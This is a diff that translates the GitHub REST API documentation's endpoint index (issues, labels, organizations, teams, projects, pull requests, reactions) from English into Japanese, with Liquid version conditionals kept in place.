+* [Issueコメントの一覧表示](/rest/reference/issues#list-issue-comments)
+* [Issueコメントの作成](/rest/reference/issues#create-an-issue-comment)
+* [リポジトリのIssueコメントの一覧表示](/rest/reference/issues#list-issue-comments-for-a-repository)
+* [Issueコメントの取得](/rest/reference/issues#get-an-issue-comment)
+* [Issueコメントの更新](/rest/reference/issues#update-an-issue-comment)
+* [Issueコメントの削除](/rest/reference/issues#delete-an-issue-comment)
 
-#### Issue Events
+#### Issueイベント
 
-* [List issue events](/rest/reference/issues#list-issue-events)
+* [Issueイベントの一覧表示](/rest/reference/issues#list-issue-events)
 
-#### Issue Timeline
+#### Issueのタイムライン
 
-* [List timeline events for an issue](/rest/reference/issues#list-timeline-events-for-an-issue)
+* [Issueのタイムラインイベントの一覧表示](/rest/reference/issues#list-timeline-events-for-an-issue)
 
-#### Issues
+#### Issue
 
-* [List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
-* [List assignees](/rest/reference/issues#list-assignees)
-* [Check if a user can be assigned](/rest/reference/issues#check-if-a-user-can-be-assigned)
-* [List repository issues](/rest/reference/issues#list-repository-issues)
-* [Create an issue](/rest/reference/issues#create-an-issue)
-* [Get an issue](/rest/reference/issues#get-an-issue)
-* [Update an issue](/rest/reference/issues#update-an-issue)
-* [Lock an issue](/rest/reference/issues#lock-an-issue)
-* [Unlock an issue](/rest/reference/issues#unlock-an-issue)
+* [認証されたユーザにアサインされたIssueの一覧表示](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
+* [アサインされた人の一覧表示](/rest/reference/issues#list-assignees)
+* [ユーザにアサインできるかを確認](/rest/reference/issues#check-if-a-user-can-be-assigned)
+* [リポジトリのIssueの一覧表示](/rest/reference/issues#list-repository-issues)
+* [Issueの作成](/rest/reference/issues#create-an-issue)
+* [Issueの取得](/rest/reference/issues#get-an-issue)
+* [Issueの更新](/rest/reference/issues#update-an-issue)
+* [Issueのロック](/rest/reference/issues#lock-an-issue)
+* [Issueのロック解除](/rest/reference/issues#unlock-an-issue)
 
 {% ifversion fpt or ghec %}
-#### Jobs
+#### ジョブ
 
-* [Get a job for a workflow run](/rest/reference/actions#get-a-job-for-a-workflow-run)
-* [Download job logs for a workflow run](/rest/reference/actions#download-job-logs-for-a-workflow-run)
-* [List jobs for a workflow run](/rest/reference/actions#list-jobs-for-a-workflow-run)
+* [ワークフローランのジョブを取得](/rest/reference/actions#get-a-job-for-a-workflow-run)
+* [ワークフローランのジョブのログをダウンロード](/rest/reference/actions#download-job-logs-for-a-workflow-run)
+* [ワークフローランのジョブを一覧表示](/rest/reference/actions#list-jobs-for-a-workflow-run)
 {% endif %}
 
-#### Labels
+#### ラベル
 
-* [List labels for an issue](/rest/reference/issues#list-labels-for-an-issue)
-* [Add labels to an issue](/rest/reference/issues#add-labels-to-an-issue)
-* [Set labels for an issue](/rest/reference/issues#set-labels-for-an-issue)
-* [Remove all labels from an issue](/rest/reference/issues#remove-all-labels-from-an-issue)
-* [Remove a label from an issue](/rest/reference/issues#remove-a-label-from-an-issue)
-* [List labels for a repository](/rest/reference/issues#list-labels-for-a-repository)
-* [Create a label](/rest/reference/issues#create-a-label)
-* [Get a label](/rest/reference/issues#get-a-label)
-* [Update a label](/rest/reference/issues#update-a-label)
-* [Delete a label](/rest/reference/issues#delete-a-label)
-* [Get labels for every issue in a milestone](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
+* [Issueのラベルを一覧表示](/rest/reference/issues#list-labels-for-an-issue)
+* [Issueにラベルを追加](/rest/reference/issues#add-labels-to-an-issue)
+* [Issueにラベルを設定](/rest/reference/issues#set-labels-for-an-issue)
+* [Issueからすべてのラベルを削除](/rest/reference/issues#remove-all-labels-from-an-issue)
+* [Issueからラベルを削除](/rest/reference/issues#remove-a-label-from-an-issue)
+* [リポジトリのラベルを一覧表示](/rest/reference/issues#list-labels-for-a-repository)
+* [ラベルを作成](/rest/reference/issues#create-a-label)
+* [ラベルの取得](/rest/reference/issues#get-a-label)
+* [ラベルの更新](/rest/reference/issues#update-a-label)
+* [ラベルの削除](/rest/reference/issues#delete-a-label)
+* [マイルストーン中のすべてのIssueのラベルを取得](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
 
-#### Licenses
+#### ライセンス
 
-* [Get all commonly used licenses](/rest/reference/licenses#get-all-commonly-used-licenses)
-* [Get a license](/rest/reference/licenses#get-a-license)
+* [一般的に使用されるすべてのライセンスを取得](/rest/reference/licenses#get-all-commonly-used-licenses)
+* [ライセンスを取得](/rest/reference/licenses#get-a-license)
 
 #### Markdown
 
-* [Render a Markdown document](/rest/reference/markdown#render-a-markdown-document)
-* [Render a markdown document in raw mode](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
+* [Markdownドキュメントをレンダリング](/rest/reference/markdown#render-a-markdown-document)
+* [Markdownドキュメントをrawモードでレンダリング](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
 
-#### Meta
+#### メタ情報
 
-* [Meta](/rest/reference/meta#meta)
+* [メタ情報](/rest/reference/meta#meta)
 
-#### Milestones
+#### マイルストーン
 
-* [List milestones](/rest/reference/issues#list-milestones)
-* [Create a milestone](/rest/reference/issues#create-a-milestone)
-* [Get a milestone](/rest/reference/issues#get-a-milestone)
-* [Update a milestone](/rest/reference/issues#update-a-milestone)
-* [Delete a milestone](/rest/reference/issues#delete-a-milestone)
+* [マイルストーンの一覧表示](/rest/reference/issues#list-milestones)
+* [マイルストーンの作成](/rest/reference/issues#create-a-milestone)
+* [マイルストーンの取得](/rest/reference/issues#create-a-milestone)
+* [マイルストーンの更新](/rest/reference/issues#update-a-milestone)
+* [マイルストーンの削除](/rest/reference/issues#delete-a-milestone)
 
-#### Organization Hooks
+#### Organizationのフック
 
-* [List organization webhooks](/rest/reference/orgs#webhooks/#list-organization-webhooks)
-* [Create an organization webhook](/rest/reference/orgs#webhooks/#create-an-organization-webhook)
-* [Get an organization webhook](/rest/reference/orgs#webhooks/#get-an-organization-webhook)
-* [Update an organization webhook](/rest/reference/orgs#webhooks/#update-an-organization-webhook)
-* [Delete an organization webhook](/rest/reference/orgs#webhooks/#delete-an-organization-webhook)
-* [Ping an organization webhook](/rest/reference/orgs#webhooks/#ping-an-organization-webhook)
+* [Organizationのwebhookの一覧表示](/rest/reference/orgs#webhooks/#list-organization-webhooks)
+* [Organizationのwebhookの作成](/rest/reference/orgs#webhooks/#create-an-organization-webhook)
+* [Organizationのwebhookの取得](/rest/reference/orgs#webhooks/#get-an-organization-webhook)
+* [Organizationのwebhookの更新](/rest/reference/orgs#webhooks/#update-an-organization-webhook)
+* [Organizationのwebhookの削除](/rest/reference/orgs#webhooks/#delete-an-organization-webhook)
+* [Organizationのwebhookのping](/rest/reference/orgs#webhooks/#ping-an-organization-webhook)
 
 {% ifversion fpt or ghec %}
-#### Organization Invitations
+#### Organizationの招待
 
-* [List pending organization invitations](/rest/reference/orgs#list-pending-organization-invitations)
-* [Create an organization invitation](/rest/reference/orgs#create-an-organization-invitation)
-* [List organization invitation teams](/rest/reference/orgs#list-organization-invitation-teams)
+* [保留中のOrganizationの招待の一覧表示](/rest/reference/orgs#list-pending-organization-invitations)
+* [Organizationの招待の作成](/rest/reference/orgs#create-an-organization-invitation)
+* [Organizationの招待Teamの一覧表示](/rest/reference/orgs#list-organization-invitation-teams)
 {% endif %}
 
-#### Organization Members
+#### Organizationのメンバー
 
-* [List organization members](/rest/reference/orgs#list-organization-members)
-* [Check organization membership for a user](/rest/reference/orgs#check-organization-membership-for-a-user)
-* [Remove an organization member](/rest/reference/orgs#remove-an-organization-member)
-* [Get organization membership for a user](/rest/reference/orgs#get-organization-membership-for-a-user)
-* [Set organization membership for a user](/rest/reference/orgs#set-organization-membership-for-a-user)
-* [Remove organization membership for a user](/rest/reference/orgs#remove-organization-membership-for-a-user)
-* [List public organization members](/rest/reference/orgs#list-public-organization-members)
-* [Check public organization membership for a user](/rest/reference/orgs#check-public-organization-membership-for-a-user)
-* [Set public organization membership for the authenticated user](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
-* [Remove public organization membership for the authenticated user](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
+* [Organizationのメンバーの一覧表示](/rest/reference/orgs#list-organization-members)
+* [ユーザのOrganizationのメンバーシップのチェック](/rest/reference/orgs#check-organization-membership-for-a-user)
+* [Organizationのメンバーの削除](/rest/reference/orgs#remove-an-organization-member)
+* [ユーザのOrganizationのメンバーシップの取得](/rest/reference/orgs#get-organization-membership-for-a-user)
+* [ユーザのOrganizationのメンバーシップの設定](/rest/reference/orgs#set-organization-membership-for-a-user)
+* [ユーザのOrganizationのメンバーシップの削除](/rest/reference/orgs#remove-organization-membership-for-a-user)
+* [パブリックなOrganizationのメンバーの一覧表示](/rest/reference/orgs#list-public-organization-members)
+* [ユーザのパブリックなOrganizationのメンバーシップのチェック](/rest/reference/orgs#check-public-organization-membership-for-a-user)
+* [認証されたユーザのパブリックなOrganizationのメンバーシップの設定](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
+* [認証されたユーザのOrganizationのメンバーシップの削除](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
 
-#### Organization Outside Collaborators
+#### Organizationの外部コラボレータ
 
-* [List outside collaborators for an organization](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
-* [Convert an organization member to outside collaborator](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
-* [Remove outside collaborator from an organization](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
+* [OrganizationのOrganizationの外部コラボレータの一覧表示](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
+* [OrganizationのメンバーからOrganizationの外部コラボレータへの変換](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
+* [OrganizationからのOrganizationの外部コラボレータの削除](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
 
 {% ifversion ghes %}
-#### Organization Pre Receive Hooks
+#### Organization pre-receive フック
 
-* [List pre-receive hooks for an organization](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
-* [Get a pre-receive hook for an organization](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
-* [Update pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
-* [Remove pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization)
+* [Organizationのためのpre-receiveフックの一覧表示](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
+* [Organizationのためのpre-receiveフックの取得](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
+* [Organizationのためのpre-receiveフックの強制の更新](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
+* [Organizationのためのpre-receiveフックの強制の削除](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
-#### Organization Team Projects
+#### OrganizationのTeamのプロジェクト
 
-* [List team projects](/rest/reference/teams#list-team-projects)
-* [Check team permissions for a project](/rest/reference/teams#check-team-permissions-for-a-project)
-* [Add or update team project permissions](/rest/reference/teams#add-or-update-team-project-permissions)
-* [Remove a project from a team](/rest/reference/teams#remove-a-project-from-a-team)
+* [Teamプロジェクトの一覧表示](/rest/reference/teams#list-team-projects)
+* [プロジェクトのTeamの権限のチェック](/rest/reference/teams#check-team-permissions-for-a-project)
+* [Teamのプロジェクト権限の追加あるいは更新](/rest/reference/teams#add-or-update-team-project-permissions)
+* [Teamからのプロジェクトの削除](/rest/reference/teams#remove-a-project-from-a-team)
 {% endif %}
 
-#### Organization Team Repositories
+#### OrganizationのTeamリポジトリ
 
-* [List team repositories](/rest/reference/teams#list-team-repositories)
-* [Check team permissions for a repository](/rest/reference/teams#check-team-permissions-for-a-repository)
-* [Add or update team repository permissions](/rest/reference/teams#add-or-update-team-repository-permissions)
-* [Remove a repository from a team](/rest/reference/teams#remove-a-repository-from-a-team)
+* [Team リポジトリの一覧表示](/rest/reference/teams#list-team-repositories)
+* [リポジトリのTeamの権限のチェック](/rest/reference/teams#check-team-permissions-for-a-repository)
+* [Teamリポジトリ権限の追加あるいは更新](/rest/reference/teams#add-or-update-team-repository-permissions)
+* [Teamからのリポジトリの削除](/rest/reference/teams#remove-a-repository-from-a-team)
 
 {% ifversion fpt or ghec %}
 #### Organization Team Sync
 
-* [List idp groups for a team](/rest/reference/teams#list-idp-groups-for-a-team)
-* [Create or update idp group connections](/rest/reference/teams#create-or-update-idp-group-connections)
-* [List IdP groups for an organization](/rest/reference/teams#list-idp-groups-for-an-organization)
+* [Teamのidpグループの一覧表示](/rest/reference/teams#list-idp-groups-for-a-team)
+* [idpグループの接続の作成あるいは更新](/rest/reference/teams#create-or-update-idp-group-connections)
+* [OrganizationのIdpグループの一覧表示](/rest/reference/teams#list-idp-groups-for-an-organization)
 {% endif %}
 
-#### Organization Teams
+#### Organization Team
 
-* [List teams](/rest/reference/teams#list-teams)
-* [Create a team](/rest/reference/teams#create-a-team)
-* [Get a team by name](/rest/reference/teams#get-a-team-by-name)
-* [Update a team](/rest/reference/teams#update-a-team)
-* [Delete a team](/rest/reference/teams#delete-a-team)
+* [Teamの一覧表示](/rest/reference/teams#list-teams)
+* [Teamの作成](/rest/reference/teams#create-a-team)
+* [名前でのTeamの取得](/rest/reference/teams#get-a-team-by-name)
+* [Teamの更新](/rest/reference/teams#update-a-team)
+* [Teamの削除](/rest/reference/teams#delete-a-team)
 {% ifversion fpt or ghec %}
-* [List pending team invitations](/rest/reference/teams#list-pending-team-invitations)
+* [保留中のTeamの招待の一覧表示](/rest/reference/teams#list-pending-team-invitations)
 {% endif %}
-* [List team members](/rest/reference/teams#list-team-members)
-* [Get team membership for a user](/rest/reference/teams#get-team-membership-for-a-user)
-* [Add or update team membership for a user](/rest/reference/teams#add-or-update-team-membership-for-a-user)
-* [Remove team membership for a user](/rest/reference/teams#remove-team-membership-for-a-user)
-* [List child teams](/rest/reference/teams#list-child-teams)
-* [List teams for the authenticated user](/rest/reference/teams#list-teams-for-the-authenticated-user)
+* [Teamメンバーの一覧表示](/rest/reference/teams#list-team-members)
+* [ユーザのTeamメンバーシップの取得](/rest/reference/teams#get-team-membership-for-a-user)
+* [ユーザのTeamメンバーシップの追加あるいは更新](/rest/reference/teams#add-or-update-team-membership-for-a-user)
+* [ユーザのTeamメンバーシップの削除](/rest/reference/teams#remove-team-membership-for-a-user)
+* [子チームの一覧表示](/rest/reference/teams#list-child-teams)
+* [認証されたユーザのTeamの一覧表示](/rest/reference/teams#list-teams-for-the-authenticated-user)
 
-#### Organizations
+#### Organization
 
-* [List organizations](/rest/reference/orgs#list-organizations)
-* [Get an organization](/rest/reference/orgs#get-an-organization)
-* [Update an organization](/rest/reference/orgs#update-an-organization)
-* [List organization memberships for the authenticated user](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
-* [Get an organization membership for the authenticated user](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
-* [Update an organization membership for the authenticated user](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
-* [List organizations for the authenticated user](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
-* [List organizations for a user](/rest/reference/orgs#list-organizations-for-a-user)
+* [Organizationの一覧表示](/rest/reference/orgs#list-organizations)
+* [Organizationの取得](/rest/reference/orgs#list-organizations)
+* [Organizationの更新](/rest/reference/orgs#update-an-organization)
+* [認証されたユーザのOrganizationメンバーシップの一覧表示](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
+* [認証されたユーザのOrganizationメンバーシップの取得](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
+* [認証されたユーザのOrganizationメンバーシップの更新](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
+* [認証されたユーザのOrganizationの一覧表示](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
+* [ユーザのOrganizationの一覧表示](/rest/reference/orgs#list-organizations-for-a-user)
 
 {% ifversion fpt or ghec %}
-#### Organizations Credential Authorizations
+#### Organizationのクレデンシャルの認証
 
-* [List SAML SSO authorizations for an organization](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization)
-* [Remove a SAML SSO authorization for an organization](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization)
+* [OrganizationのSAML SSO認証の一覧表示](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization)
+* [OrganizationのSAML SSO認証の削除](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Organizations Scim
+#### OrganizationのSCIM
 
-* [List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)
-* [Provision and invite a SCIM user](/rest/reference/scim#provision-and-invite-a-scim-user)
-* [Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)
-* [Set SCIM information for a provisioned user](/rest/reference/scim#set-scim-information-for-a-provisioned-user)
-* [Update an attribute for a SCIM user](/rest/reference/scim#update-an-attribute-for-a-scim-user)
-* [Delete a SCIM user from an organization](/rest/reference/scim#delete-a-scim-user-from-an-organization)
+* [SCIMでプロビジョニングされたアイデンティティの一覧表示](/rest/reference/scim#list-scim-provisioned-identities)
+* [SCIMユーザのプロビジョニングと招待](/rest/reference/scim#provision-and-invite-a-scim-user)
+* [ユーザのSCIMプロビジョニング情報の取得](/rest/reference/scim#get-scim-provisioning-information-for-a-user)
+* [プロビジョニングされたユーザのSCIM情報の設定](/rest/reference/scim#set-scim-information-for-a-provisioned-user)
+* [SCIMユーザの属性の更新](/rest/reference/scim#update-an-attribute-for-a-scim-user)
+* [OrganizationからのSCIMユーザの削除](/rest/reference/scim#delete-a-scim-user-from-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Source Imports
+#### ソースのインポート
 
-* [Get an import status](/rest/reference/migrations#get-an-import-status)
-* [Start an import](/rest/reference/migrations#start-an-import)
-* [Update an import](/rest/reference/migrations#update-an-import)
-* [Cancel an import](/rest/reference/migrations#cancel-an-import)
-* [Get commit authors](/rest/reference/migrations#get-commit-authors)
-* [Map a commit author](/rest/reference/migrations#map-a-commit-author)
-* [Get large files](/rest/reference/migrations#get-large-files)
-* [Update Git LFS preference](/rest/reference/migrations#update-git-lfs-preference)
+* [インポートステータスの取得](/rest/reference/migrations#get-an-import-status)
+* [インポートの開始](/rest/reference/migrations#start-an-import)
+* [インポートの更新](/rest/reference/migrations#update-an-import)
+* [インポートのキャンセル](/rest/reference/migrations#cancel-an-import)
+* [コミット作者の取得](/rest/reference/migrations#get-commit-authors)
+* [コミット作者のマップ](/rest/reference/migrations#map-a-commit-author)
+* [大きなファイルの取得](/rest/reference/migrations#get-large-files)
+* [Git LFS環境設定の更新](/rest/reference/migrations#update-git-lfs-preference)
 {% endif %}
 
-#### Project Collaborators
+#### プロジェクトのコラボレータ
 
-* [List project collaborators](/rest/reference/projects#list-project-collaborators)
-* [Add project collaborator](/rest/reference/projects#add-project-collaborator)
-* [Remove project collaborator](/rest/reference/projects#remove-project-collaborator)
-* [Get project permission for a user](/rest/reference/projects#get-project-permission-for-a-user)
+* [プロジェクトのコラボレータの一覧表示](/rest/reference/projects#list-project-collaborators)
+* [プロジェクトのコラボレータの追加](/rest/reference/projects#add-project-collaborator)
+* [プロジェクトのコラボレータの削除](/rest/reference/projects#remove-project-collaborator)
+* [ユーザのプロジェクト権限の取得](/rest/reference/projects#get-project-permission-for-a-user)
 
-#### Projects
+#### プロジェクト
 
-* [List organization projects](/rest/reference/projects#list-organization-projects)
-* [Create an organization project](/rest/reference/projects#create-an-organization-project)
-* [Get a project](/rest/reference/projects#get-a-project)
-* [Update a project](/rest/reference/projects#update-a-project)
-* [Delete a project](/rest/reference/projects#delete-a-project)
-* [List project columns](/rest/reference/projects#list-project-columns)
-* [Create a project column](/rest/reference/projects#create-a-project-column)
-* [Get a project column](/rest/reference/projects#get-a-project-column)
-* [Update a project column](/rest/reference/projects#update-a-project-column)
-* [Delete a project column](/rest/reference/projects#delete-a-project-column)
-* [List project cards](/rest/reference/projects#list-project-cards)
-* [Create a project card](/rest/reference/projects#create-a-project-card)
-* [Move a project column](/rest/reference/projects#move-a-project-column)
-* [Get a project card](/rest/reference/projects#get-a-project-card)
-* [Update a project card](/rest/reference/projects#update-a-project-card)
-* [Delete a project card](/rest/reference/projects#delete-a-project-card)
-* [Move a project card](/rest/reference/projects#move-a-project-card)
-* [List repository projects](/rest/reference/projects#list-repository-projects)
-* [Create a repository project](/rest/reference/projects#create-a-repository-project)
+* [Organizationのプロジェクトの一覧表示](/rest/reference/projects#list-organization-projects)
+* [Organizationのプロジェクトの作成](/rest/reference/projects#create-an-organization-project)
+* [プロジェクトの取得](/rest/reference/projects#get-a-project)
+* [プロジェクトの更新](/rest/reference/projects#update-a-project)
+* [プロジェクトの削除](/rest/reference/projects#delete-a-project)
+* [プロジェクトの列の一覧表示](/rest/reference/projects#list-project-columns)
+* [プロジェクトの列の作成](/rest/reference/projects#create-a-project-column)
+* [プロジェクトの列の取得](/rest/reference/projects#get-a-project-column)
+* [プロジェクトの列の更新](/rest/reference/projects#update-a-project-column)
+* [プロジェクトの列の削除](/rest/reference/projects#delete-a-project-column)
+* [プロジェクトカードの一覧表示](/rest/reference/projects#list-project-cards)
+* [プロジェクトカードの作成](/rest/reference/projects#create-a-project-card)
+* [プロジェクトの列の移動](/rest/reference/projects#move-a-project-column)
+* [プロジェクトカードの取得](/rest/reference/projects#get-a-project-card)
+* [プロジェクトカードの更新](/rest/reference/projects#update-a-project-card)
+* [プロジェクトカードの削除](/rest/reference/projects#delete-a-project-card)
+* [プロジェクトカードの移動](/rest/reference/projects#move-a-project-card)
+* [リポジトリプロジェクトの一覧表示](/rest/reference/projects#list-repository-projects)
+* [リポジトリプロジェクトの作成](/rest/reference/projects#create-a-repository-project)
 
-#### Pull Comments
+#### Pull Requestのコメント
 
-* [List review comments on a pull request](/rest/reference/pulls#list-review-comments-on-a-pull-request)
-* [Create a review comment for a pull request](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
-* [List review comments in a repository](/rest/reference/pulls#list-review-comments-in-a-repository)
-* [Get a review comment for a pull request](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
-* [Update a review comment for a pull request](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
-* [Delete a review comment for a pull request](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
+* [Pull Requestのレビューコメントの一覧表示](/rest/reference/pulls#list-review-comments-on-a-pull-request)
+* [Pull Requestのレビューコメントの作成](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
+* [リポジトリのレビューコメントの一覧表示](/rest/reference/pulls#list-review-comments-in-a-repository)
+* [Pull Requestのレビューコメントの取得](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
+* [Pull Requestのレビューコメントの更新](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
+* [Pull Requestのレビューコメントの削除](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
 
-#### Pull Request Review Events
+#### Pull Requestのレビューイベント
 
-* [Dismiss a review for a pull request](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
-* [Submit a review for a pull request](/rest/reference/pulls#submit-a-review-for-a-pull-request)
+* [Pull Requestのレビューの却下](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
+* [Pull Requestのレビューのサブミット](/rest/reference/pulls#submit-a-review-for-a-pull-request)
 
-#### Pull Request Review Requests
+#### Pull Requestのレビューのリクエスト
 
-* [List requested reviewers for a pull request](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request)
-* [Request reviewers for a pull request](/rest/reference/pulls#request-reviewers-for-a-pull-request)
-* [Remove requested reviewers from a pull request](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
+* [Pull Requestのリクエストされたレビューの一覧表示](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request)
+* [Pull Requestのレビュー担当者のリクエスト](/rest/reference/pulls#request-reviewers-for-a-pull-request)
+* [Pull Requestからリクエストされたレビュー担当者を削除](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
 
-#### Pull Request Reviews
+#### Pull Requestのレビュー
 
-* [List reviews for a pull request](/rest/reference/pulls#list-reviews-for-a-pull-request)
-* [Create a review for a pull request](/rest/reference/pulls#create-a-review-for-a-pull-request)
-* [Get a review for a pull request](/rest/reference/pulls#get-a-review-for-a-pull-request)
-* [Update a review for a pull request](/rest/reference/pulls#update-a-review-for-a-pull-request)
-* [List comments for a pull request review](/rest/reference/pulls#list-comments-for-a-pull-request-review)
+* [Pull Requestのレビューの一覧表示](/rest/reference/pulls#list-reviews-for-a-pull-request)
+* [Pull Requestのレビューの作成](/rest/reference/pulls#create-a-review-for-a-pull-request)
+* [Pull Requestのレビューの取得](/rest/reference/pulls#get-a-review-for-a-pull-request)
+* [Pull Requestのレビューの更新](/rest/reference/pulls#update-a-review-for-a-pull-request)
+* [Pull Requestレビューのコメントの一覧表示](/rest/reference/pulls#list-comments-for-a-pull-request-review)
 
 #### Pulls
 
-* [List pull requests](/rest/reference/pulls#list-pull-requests)
-* [Create a pull request](/rest/reference/pulls#create-a-pull-request)
-* [Get a pull request](/rest/reference/pulls#get-a-pull-request)
-* [Update a pull request](/rest/reference/pulls#update-a-pull-request)
-* [List commits on a pull request](/rest/reference/pulls#list-commits-on-a-pull-request)
-* [List pull requests files](/rest/reference/pulls#list-pull-requests-files)
-* [Check if a pull request has been merged](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
-* [Merge a pull request (Merge Button)](/rest/reference/pulls#merge-a-pull-request)
+* [Pull Requestの一覧表示](/rest/reference/pulls#list-pull-requests)
+* [Pull Requestの作成](/rest/reference/pulls#create-a-pull-request)
+* [Pull Requestの取得](/rest/reference/pulls#get-a-pull-request)
+* [Pull Requestの更新](/rest/reference/pulls#update-a-pull-request)
+* [Pull Requestのコミットの一覧表示](/rest/reference/pulls#list-commits-on-a-pull-request)
+* [Pull Requestのファイルの一覧表示](/rest/reference/pulls#list-pull-requests-files)
+* [Pull Requestがマージされたかをチェック](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
+* [Pull Requestをマージ（マージボタン）](/rest/reference/pulls#merge-a-pull-request)
 
-#### Reactions
+#### リアクション
 
-{% ifversion fpt or ghes or ghae or ghec %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction-legacy){% else %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction){% endif %}
-* [List reactions for a commit comment](/rest/reference/reactions#list-reactions-for-a-commit-comment)
-* [Create reaction for a commit comment](/rest/reference/reactions#create-reaction-for-a-commit-comment)
-* [List reactions for an issue](/rest/reference/reactions#list-reactions-for-an-issue)
-* [Create reaction for an issue](/rest/reference/reactions#create-reaction-for-an-issue)
-* [List reactions for an issue comment](/rest/reference/reactions#list-reactions-for-an-issue-comment)
-* [Create reaction for an issue comment](/rest/reference/reactions#create-reaction-for-an-issue-comment)
-* [List reactions for a pull request review comment](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
-* [Create reaction for a pull request review comment](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
-* [List reactions for a team discussion comment](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
-* [Create reaction for a team discussion comment](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
-* [List reactions for a team discussion](/rest/reference/reactions#list-reactions-for-a-team-discussion)
-* [Create reaction for a team discussion](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %}
-* [Delete a commit comment reaction](/rest/reference/reactions#delete-a-commit-comment-reaction)
-* [Delete an issue reaction](/rest/reference/reactions#delete-an-issue-reaction)
-* [Delete a reaction to a commit comment](/rest/reference/reactions#delete-an-issue-comment-reaction)
-* [Delete a pull request comment reaction](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
-* [Delete team discussion reaction](/rest/reference/reactions#delete-team-discussion-reaction)
-* [Delete team discussion comment reaction](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %}
+{% ifversion fpt or ghes or ghae or ghec %}* [リアクションの削除](/rest/reference/reactions#delete-a-reaction-legacy){% else %}* [リアクションの削除](/rest/reference/reactions#delete-a-reaction){% endif %}
+* [コミットコメントへのリアクションの一覧表示](/rest/reference/reactions#list-reactions-for-a-commit-comment)
+* [コミットコメントへのリアクションの作成](/rest/reference/reactions#create-reaction-for-a-commit-comment)
+* [Issueへのリアクションの一覧表示](/rest/reference/reactions#list-reactions-for-an-issue)
+* [Issueへのリアクションの作成](/rest/reference/reactions#create-reaction-for-an-issue)
+* [Issueコメントへのリアクションの一覧表示](/rest/reference/reactions#list-reactions-for-an-issue-comment)
+* [Issueコメントへのリアクションの作成](/rest/reference/reactions#create-reaction-for-an-issue-comment)
+* [Pull Requestのレビューコメントへのリアクションの一覧表示](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
+* [Pull Requestのレビューコメントへのリアクションの作成](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
+* [Teamディスカッションコメントへのリアクションの一覧表示](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
+* [Teamディスカッションコメントへのリアクションの作成](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
+* [Teamディスカッションへのリアクションの一覧表示](/rest/reference/reactions#list-reactions-for-a-team-discussion)
